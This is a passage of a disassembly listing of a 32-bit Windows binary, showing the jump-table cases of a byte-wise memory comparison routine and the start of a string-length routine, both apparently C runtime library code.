; CODE XREF: sub_40AE7F+B57j ; sub_40AE7F+B66j test esi, esi jnz loc_40B34B loc_40B9F1: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-9] ; jumptable 0040B344 case 9 cmp edx, [ecx-9] jz short loc_40BA77 movzx edx, byte ptr [ecx-9] movzx esi, byte ptr [eax-9] sub esi, edx jz short loc_40BA1A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BA1A: ; CODE XREF: sub_40AE7F+B84j movzx esi, byte ptr [eax-8] movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40BA3B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BA3B: ; CODE XREF: sub_40AE7F+BA5j movzx esi, byte ptr [eax-7] movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40BA5C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BA5C: ; CODE XREF: sub_40AE7F+BC6j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40BA79 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BA79 ; --------------------------------------------------------------------------- loc_40BA77: ; CODE XREF: sub_40AE7F+B78j xor esi, esi loc_40BA79: ; CODE XREF: sub_40AE7F+BE7j ; sub_40AE7F+BF6j test esi, esi jnz loc_40B34B loc_40BA81: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-5] ; jumptable 0040B344 case 5 cmp edx, [ecx-5] jz short loc_40BB06 movzx esi, dl movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40BAA9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BAA9: ; CODE XREF: sub_40AE7F+C13j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40BACA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BACA: ; CODE XREF: sub_40AE7F+C34j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40BAEB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BAEB: ; CODE XREF: sub_40AE7F+C55j movzx esi, byte ptr [eax-2] movzx edx, byte ptr [ecx-2] sub esi, edx jz short loc_40BB08 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BB08 ; --------------------------------------------------------------------------- loc_40BB06: ; CODE XREF: sub_40AE7F+C08j xor esi, esi loc_40BB08: ; CODE XREF: sub_40AE7F+C76j ; sub_40AE7F+C85j test esi, esi jnz loc_40B34B loc_40BB10: ; CODE XREF: sub_40AE7F+4C5j ; sub_40AE7F+10B5j ... movzx ecx, byte ptr [ecx-1] ; jumptable 0040B344 case 1 movzx eax, byte ptr [eax-1] sub eax, ecx jz loc_40B720 xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp loc_40B720 ; --------------------------------------------------------------------------- loc_40BB32: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Eh] ; jumptable 0040B344 case 30 cmp edx, [ecx-1Eh] jz short loc_40BBB7 movzx esi, dl movzx edx, byte ptr [ecx-1Eh] sub esi, edx jz short loc_40BB5A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BB5A: ; CODE XREF: sub_40AE7F+CC4j movzx esi, byte ptr [eax-1Dh] movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40BB7B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BB7B: ; CODE XREF: sub_40AE7F+CE5j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40BB9C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BB9C: ; CODE XREF: sub_40AE7F+D06j movzx esi, byte ptr [eax-1Bh] movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40BBB9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BBB9 ; --------------------------------------------------------------------------- loc_40BBB7: ; CODE XREF: sub_40AE7F+CB9j xor esi, esi loc_40BBB9: ; CODE XREF: sub_40AE7F+D27j ; sub_40AE7F+D36j test esi, esi jnz loc_40B34B loc_40BBC1: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Ah] ; jumptable 0040B344 case 26 cmp edx, [ecx-1Ah] jz short loc_40BC46 movzx esi, dl movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40BBE9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BBE9: ; CODE XREF: sub_40AE7F+D53j movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40BC0A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BC0A: ; CODE XREF: sub_40AE7F+D74j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40BC2B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BC2B: ; CODE XREF: sub_40AE7F+D95j movzx esi, byte ptr [eax-17h] movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40BC48 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BC48 ; --------------------------------------------------------------------------- loc_40BC46: ; CODE XREF: sub_40AE7F+D48j xor esi, esi loc_40BC48: ; CODE XREF: sub_40AE7F+DB6j ; sub_40AE7F+DC5j test esi, esi jnz loc_40B34B loc_40BC50: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-16h] ; jumptable 0040B344 case 22 cmp edx, [ecx-16h] jz short loc_40BCD5 movzx esi, dl movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40BC78 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BC78: ; CODE XREF: sub_40AE7F+DE2j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40BC99 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BC99: ; CODE XREF: sub_40AE7F+E03j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40BCBA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BCBA: ; CODE XREF: sub_40AE7F+E24j movzx esi, byte ptr [eax-13h] movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40BCD7 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BCD7 ; --------------------------------------------------------------------------- loc_40BCD5: ; CODE XREF: sub_40AE7F+DD7j xor esi, esi loc_40BCD7: ; CODE XREF: sub_40AE7F+E45j ; sub_40AE7F+E54j test esi, esi jnz loc_40B34B loc_40BCDF: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-12h] ; jumptable 0040B344 case 18 cmp edx, [ecx-12h] jz short loc_40BD64 movzx esi, dl movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40BD07 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BD07: ; CODE XREF: sub_40AE7F+E71j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40BD28 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BD28: ; CODE XREF: sub_40AE7F+E92j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40BD49 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BD49: ; CODE XREF: sub_40AE7F+EB3j movzx esi, byte ptr [eax-0Fh] movzx edx, byte ptr [ecx-0Fh] sub esi, edx jz short loc_40BD66 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BD66 ; --------------------------------------------------------------------------- loc_40BD64: ; CODE XREF: sub_40AE7F+E66j xor esi, esi loc_40BD66: ; CODE XREF: sub_40AE7F+ED4j ; sub_40AE7F+EE3j test esi, esi jnz loc_40B34B loc_40BD6E: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Eh] ; jumptable 0040B344 case 14 cmp edx, [ecx-0Eh] jz short loc_40BDF3 movzx esi, dl movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40BD96 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BD96: ; CODE XREF: sub_40AE7F+F00j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40BDB7 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BDB7: ; CODE XREF: sub_40AE7F+F21j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40BDD8 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BDD8: ; CODE XREF: sub_40AE7F+F42j movzx esi, byte ptr [eax-0Bh] movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40BDF5 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BDF5 ; --------------------------------------------------------------------------- loc_40BDF3: ; CODE XREF: sub_40AE7F+EF5j xor esi, esi loc_40BDF5: ; CODE XREF: sub_40AE7F+F63j ; sub_40AE7F+F72j test esi, esi jnz loc_40B34B loc_40BDFD: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Ah] ; jumptable 0040B344 case 10 cmp edx, [ecx-0Ah] jz short loc_40BE83 movzx edx, byte ptr [ecx-0Ah] movzx esi, byte ptr [eax-0Ah] sub esi, edx jz short loc_40BE26 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BE26: ; CODE XREF: sub_40AE7F+F90j movzx edx, byte ptr [ecx-9] movzx esi, byte ptr [eax-9] sub esi, edx jz short loc_40BE47 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BE47: ; CODE XREF: sub_40AE7F+FB1j movzx edx, byte ptr [ecx-8] movzx esi, byte ptr [eax-8] sub esi, edx jz short loc_40BE68 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BE68: ; CODE XREF: sub_40AE7F+FD2j movzx edx, byte ptr [ecx-7] movzx esi, byte ptr [eax-7] sub esi, edx jz short loc_40BE85 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BE85 ; --------------------------------------------------------------------------- loc_40BE83: ; CODE XREF: sub_40AE7F+F84j xor esi, esi loc_40BE85: ; CODE XREF: sub_40AE7F+FF3j ; sub_40AE7F+1002j test esi, esi jnz loc_40B34B loc_40BE8D: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-6] ; jumptable 0040B344 case 6 cmp edx, [ecx-6] jz short loc_40BF12 movzx esi, dl movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40BEB5 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BEB5: ; CODE XREF: sub_40AE7F+101Fj movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40BED6 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BED6: ; CODE XREF: sub_40AE7F+1040j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40BEF7 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BEF7: ; CODE XREF: sub_40AE7F+1061j movzx esi, byte ptr [eax-3] movzx edx, byte ptr [ecx-3] sub esi, edx jz short loc_40BF14 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BF14 ; --------------------------------------------------------------------------- loc_40BF12: ; CODE XREF: sub_40AE7F+1014j xor esi, esi loc_40BF14: ; CODE XREF: sub_40AE7F+1082j ; sub_40AE7F+1091j test esi, esi jnz loc_40B34B loc_40BF1C: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov dx, [eax-2] ; jumptable 0040B344 case 2 cmp dx, [ecx-2] jz loc_40B71E ; default ; jumptable 0040B344 case 0 loc_40BF2A: ; CODE XREF: sub_40AE7F+14C8j ; sub_40AE7F+14DBj movzx edx, byte ptr [ecx-2] movzx esi, byte ptr [eax-2] sub esi, edx jz loc_40BB10 ; jumptable 0040B344 case 1 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jnz loc_40C360 jmp loc_40BB10 ; jumptable 0040B344 case 1 ; --------------------------------------------------------------------------- loc_40BF52: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Fh] ; jumptable 0040B344 case 31 cmp edx, [ecx-1Fh] jz short loc_40BFD8 movzx edx, byte ptr [ecx-1Fh] movzx esi, byte ptr [eax-1Fh] sub esi, edx jz short loc_40BF7B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BF7B: ; CODE XREF: sub_40AE7F+10E5j movzx esi, byte ptr [eax-1Eh] movzx edx, byte ptr [ecx-1Eh] sub esi, edx jz short loc_40BF9C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BF9C: ; CODE XREF: sub_40AE7F+1106j movzx esi, byte ptr [eax-1Dh] movzx edx, byte ptr [ecx-1Dh] sub esi, edx jz short loc_40BFBD xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40BFBD: ; CODE XREF: sub_40AE7F+1127j movzx esi, byte ptr [eax-1Ch] movzx edx, byte ptr [ecx-1Ch] sub esi, edx jz short loc_40BFDA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40BFDA ; --------------------------------------------------------------------------- loc_40BFD8: ; CODE XREF: sub_40AE7F+10D9j xor esi, esi loc_40BFDA: ; CODE XREF: sub_40AE7F+1148j ; sub_40AE7F+1157j test esi, esi jnz loc_40B34B loc_40BFE2: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-1Bh] ; jumptable 0040B344 case 27 cmp edx, [ecx-1Bh] jz short loc_40C067 movzx esi, dl movzx edx, byte ptr [ecx-1Bh] sub esi, edx jz short loc_40C00A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C00A: ; CODE XREF: sub_40AE7F+1174j movzx esi, byte ptr [eax-1Ah] movzx edx, byte ptr [ecx-1Ah] sub esi, edx jz short loc_40C02B xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C02B: ; CODE XREF: sub_40AE7F+1195j movzx esi, byte ptr [eax-19h] movzx edx, byte ptr [ecx-19h] sub esi, edx jz short loc_40C04C xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C04C: ; CODE XREF: sub_40AE7F+11B6j movzx esi, byte ptr [eax-18h] movzx edx, byte ptr [ecx-18h] sub esi, edx jz short loc_40C069 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C069 ; --------------------------------------------------------------------------- loc_40C067: ; CODE XREF: sub_40AE7F+1169j xor esi, esi loc_40C069: ; CODE XREF: sub_40AE7F+11D7j ; sub_40AE7F+11E6j test esi, esi jnz loc_40B34B loc_40C071: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-17h] ; jumptable 0040B344 case 23 cmp edx, [ecx-17h] jz short loc_40C0F6 movzx esi, dl movzx edx, byte ptr [ecx-17h] sub esi, edx jz short loc_40C099 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C099: ; CODE XREF: sub_40AE7F+1203j movzx esi, byte ptr [eax-16h] movzx edx, byte ptr [ecx-16h] sub esi, edx jz short loc_40C0BA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C0BA: ; CODE XREF: sub_40AE7F+1224j movzx esi, byte ptr [eax-15h] movzx edx, byte ptr [ecx-15h] sub esi, edx jz short loc_40C0DB xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C0DB: ; CODE XREF: sub_40AE7F+1245j movzx esi, byte ptr [eax-14h] movzx edx, byte ptr [ecx-14h] sub esi, edx jz short loc_40C0F8 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C0F8 ; --------------------------------------------------------------------------- loc_40C0F6: ; CODE XREF: sub_40AE7F+11F8j xor esi, esi loc_40C0F8: ; CODE XREF: sub_40AE7F+1266j ; sub_40AE7F+1275j test esi, esi jnz loc_40B34B loc_40C100: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-13h] ; jumptable 0040B344 case 19 cmp edx, [ecx-13h] jz short loc_40C185 movzx esi, dl movzx edx, byte ptr [ecx-13h] sub esi, edx jz short loc_40C128 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C128: ; CODE XREF: sub_40AE7F+1292j movzx esi, byte ptr [eax-12h] movzx edx, byte ptr [ecx-12h] sub esi, edx jz short loc_40C149 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C149: ; CODE XREF: sub_40AE7F+12B3j movzx esi, byte ptr [eax-11h] movzx edx, byte ptr [ecx-11h] sub esi, edx jz short loc_40C16A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C16A: ; CODE XREF: sub_40AE7F+12D4j movzx esi, byte ptr [eax-10h] movzx edx, byte ptr [ecx-10h] sub esi, edx jz short loc_40C187 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C187 ; --------------------------------------------------------------------------- loc_40C185: ; CODE XREF: sub_40AE7F+1287j xor esi, esi loc_40C187: ; CODE XREF: sub_40AE7F+12F5j ; sub_40AE7F+1304j test esi, esi jnz loc_40B34B loc_40C18F: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Fh] ; jumptable 0040B344 case 15 cmp edx, [ecx-0Fh] jz short loc_40C215 movzx edx, byte ptr [ecx-0Fh] movzx esi, byte ptr [eax-0Fh] sub esi, edx jz short loc_40C1B8 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C1B8: ; CODE XREF: sub_40AE7F+1322j movzx esi, byte ptr [eax-0Eh] movzx edx, byte ptr [ecx-0Eh] sub esi, edx jz short loc_40C1D9 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C1D9: ; CODE XREF: sub_40AE7F+1343j movzx esi, byte ptr [eax-0Dh] movzx edx, byte ptr [ecx-0Dh] sub esi, edx jz short loc_40C1FA xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C1FA: ; CODE XREF: sub_40AE7F+1364j movzx esi, byte ptr [eax-0Ch] movzx edx, byte ptr [ecx-0Ch] sub esi, edx jz short loc_40C217 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C217 ; --------------------------------------------------------------------------- loc_40C215: ; CODE XREF: sub_40AE7F+1316j xor esi, esi loc_40C217: ; CODE XREF: sub_40AE7F+1385j ; sub_40AE7F+1394j test esi, esi jnz loc_40B34B loc_40C21F: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-0Bh] ; jumptable 0040B344 case 11 cmp edx, [ecx-0Bh] jz short loc_40C2A4 movzx esi, dl movzx edx, byte ptr [ecx-0Bh] sub esi, edx jz short loc_40C247 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C247: ; CODE XREF: sub_40AE7F+13B1j movzx esi, byte ptr [eax-0Ah] movzx edx, byte ptr [ecx-0Ah] sub esi, edx jz short loc_40C268 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C268: ; CODE XREF: sub_40AE7F+13D2j movzx esi, byte ptr [eax-9] movzx edx, byte ptr [ecx-9] sub esi, edx jz short loc_40C289 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C289: ; CODE XREF: sub_40AE7F+13F3j movzx esi, byte ptr [eax-8] movzx edx, byte ptr [ecx-8] sub esi, edx jz short loc_40C2A6 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C2A6 ; --------------------------------------------------------------------------- loc_40C2A4: ; CODE XREF: sub_40AE7F+13A6j xor esi, esi loc_40C2A6: ; CODE XREF: sub_40AE7F+1414j ; sub_40AE7F+1423j test esi, esi jnz loc_40B34B loc_40C2AE: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo mov edx, [eax-7] ; jumptable 0040B344 case 7 cmp edx, [ecx-7] jz short loc_40C333 movzx esi, dl movzx edx, byte ptr [ecx-7] sub esi, edx jz short loc_40C2D6 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C2D6: ; CODE XREF: sub_40AE7F+1440j movzx esi, byte ptr [eax-6] movzx edx, byte ptr [ecx-6] sub esi, edx jz short loc_40C2F7 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C2F7: ; CODE XREF: sub_40AE7F+1461j movzx esi, byte ptr [eax-5] movzx edx, byte ptr [ecx-5] sub esi, edx jz short loc_40C318 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx test esi, esi jnz loc_40B34B loc_40C318: ; CODE XREF: sub_40AE7F+1482j movzx esi, byte ptr [eax-4] movzx edx, byte ptr [ecx-4] sub esi, edx jz short loc_40C335 xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] mov esi, edx jmp short loc_40C335 ; --------------------------------------------------------------------------- loc_40C333: ; CODE XREF: sub_40AE7F+1435j xor esi, esi loc_40C335: ; CODE XREF: sub_40AE7F+14A3j ; sub_40AE7F+14B2j test esi, esi jnz loc_40B34B loc_40C33D: ; CODE XREF: sub_40AE7F+4C5j ; DATA XREF: .text:off_40C47Fo movzx esi, byte ptr [eax-3] ; jumptable 0040B344 case 3 movzx edx, byte ptr [ecx-3] sub esi, edx jz loc_40BF2A xor edx, edx test esi, esi setnle dl lea edx, [edx+edx-1] test edx, edx jz loc_40BF2A loc_40C360: ; CODE XREF: sub_40AE7F+10C8j mov eax, edx jmp loc_40B720 ; --------------------------------------------------------------------------- loc_40C367: ; CODE XREF: sub_40AE7F+29j mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40C38C xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40C479 loc_40C38C: ; CODE XREF: sub_40AE7F+14F6j movzx eax, byte ptr [ecx+1] movzx edx, byte ptr [esi+1] sub eax, edx jz short loc_40C3AD xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40C479 loc_40C3AD: ; CODE XREF: sub_40AE7F+1517j movzx eax, byte ptr [ecx+2] movzx edx, byte ptr [esi+2] sub eax, edx jz short loc_40C3CE xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz loc_40C479 loc_40C3CE: ; CODE XREF: sub_40AE7F+1538j movzx eax, byte ptr [ecx+3] movzx ecx, byte ptr [esi+3] loc_40C3D6: ; CODE XREF: sub_40AE7F+15B7j ; sub_40AE7F+15E2j ... sub eax, ecx jz loc_40C479 xor ecx, ecx test eax, eax setnle cl lea ecx, [ecx+ecx-1] mov eax, ecx jmp loc_40C479 ; --------------------------------------------------------------------------- loc_40C3F0: ; CODE XREF: sub_40AE7F+22j mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40C411 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40C479 loc_40C411: ; CODE XREF: sub_40AE7F+157Fj movzx eax, byte ptr [ecx+1] movzx edx, byte ptr [esi+1] sub eax, edx jz short loc_40C42E xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40C479 loc_40C42E: ; CODE XREF: sub_40AE7F+159Cj movzx eax, byte ptr [ecx+2] movzx ecx, byte ptr [esi+2] jmp short loc_40C3D6 ; --------------------------------------------------------------------------- loc_40C438: ; CODE XREF: sub_40AE7F+1Bj mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] movzx eax, byte ptr [ecx] movzx edx, byte ptr [esi] sub eax, edx jz short loc_40C459 xor edx, edx test eax, eax setnle dl lea edx, [edx+edx-1] mov eax, edx test eax, eax jnz short loc_40C479 loc_40C459: ; CODE XREF: sub_40AE7F+15C7j movzx eax, byte ptr [ecx+1] movzx ecx, byte ptr [esi+1] jmp loc_40C3D6 ; --------------------------------------------------------------------------- loc_40C466: ; CODE XREF: sub_40AE7F+14j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] movzx eax, byte ptr [eax] movzx ecx, byte ptr [ecx] jmp loc_40C3D6 ; --------------------------------------------------------------------------- loc_40C477: ; CODE XREF: sub_40AE7F+Dj xor eax, eax loc_40C479: ; CODE XREF: sub_40AE7F+8A2j ; sub_40AE7F+1507j ... pop edi pop esi pop ebp retn sub_40AE7F endp ; --------------------------------------------------------------------------- db 8Bh, 0FFh off_40C47F dd offset loc_40B71E ; DATA XREF: sub_40AE7F+4C5r dd offset loc_40BB10 ; jump table for switch statement dd offset loc_40BF1C dd offset loc_40C33D dd offset loc_40B6A1 dd offset loc_40BA81 dd offset loc_40BE8D dd offset loc_40C2AE dd offset loc_40B612 dd offset loc_40B9F1 dd offset loc_40BDFD dd offset loc_40C21F dd offset loc_40B582 dd offset loc_40B962 dd offset loc_40BD6E dd offset loc_40C18F dd offset loc_40B4F3 dd offset loc_40B8D3 dd offset loc_40BCDF dd offset loc_40C100 dd offset loc_40B464 dd offset loc_40B844 dd offset loc_40BC50 dd offset loc_40C071 dd offset loc_40B3D5 dd offset loc_40B7B5 dd offset loc_40BBC1 dd offset loc_40BFE2 dd offset loc_40B352 dd offset loc_40B726 dd offset loc_40BB32 dd offset loc_40BF52 align 10h ; =============== S U B R O U T I N E ======================================= sub_40C500 proc near ; CODE XREF: sub_40140A+C6p ; sub_40140A+CFp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_40C530 loc_40C50C: ; CODE XREF: sub_40C500+1Bj mov al, [ecx] add ecx, 1 test al, al jz short loc_40C563 test ecx, 3 jnz short loc_40C50C add eax, 0 lea esp, [esp+0] lea esp, [esp+0] loc_40C530: ; CODE XREF: sub_40C500+Aj ; sub_40C500+46j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40C530 mov eax, [ecx-4] test al, al jz short loc_40C581 test ah, ah jz short loc_40C577 test eax, 0FF0000h jz short loc_40C56D test eax, 0FF000000h jz short loc_40C563 jmp short loc_40C530 ; 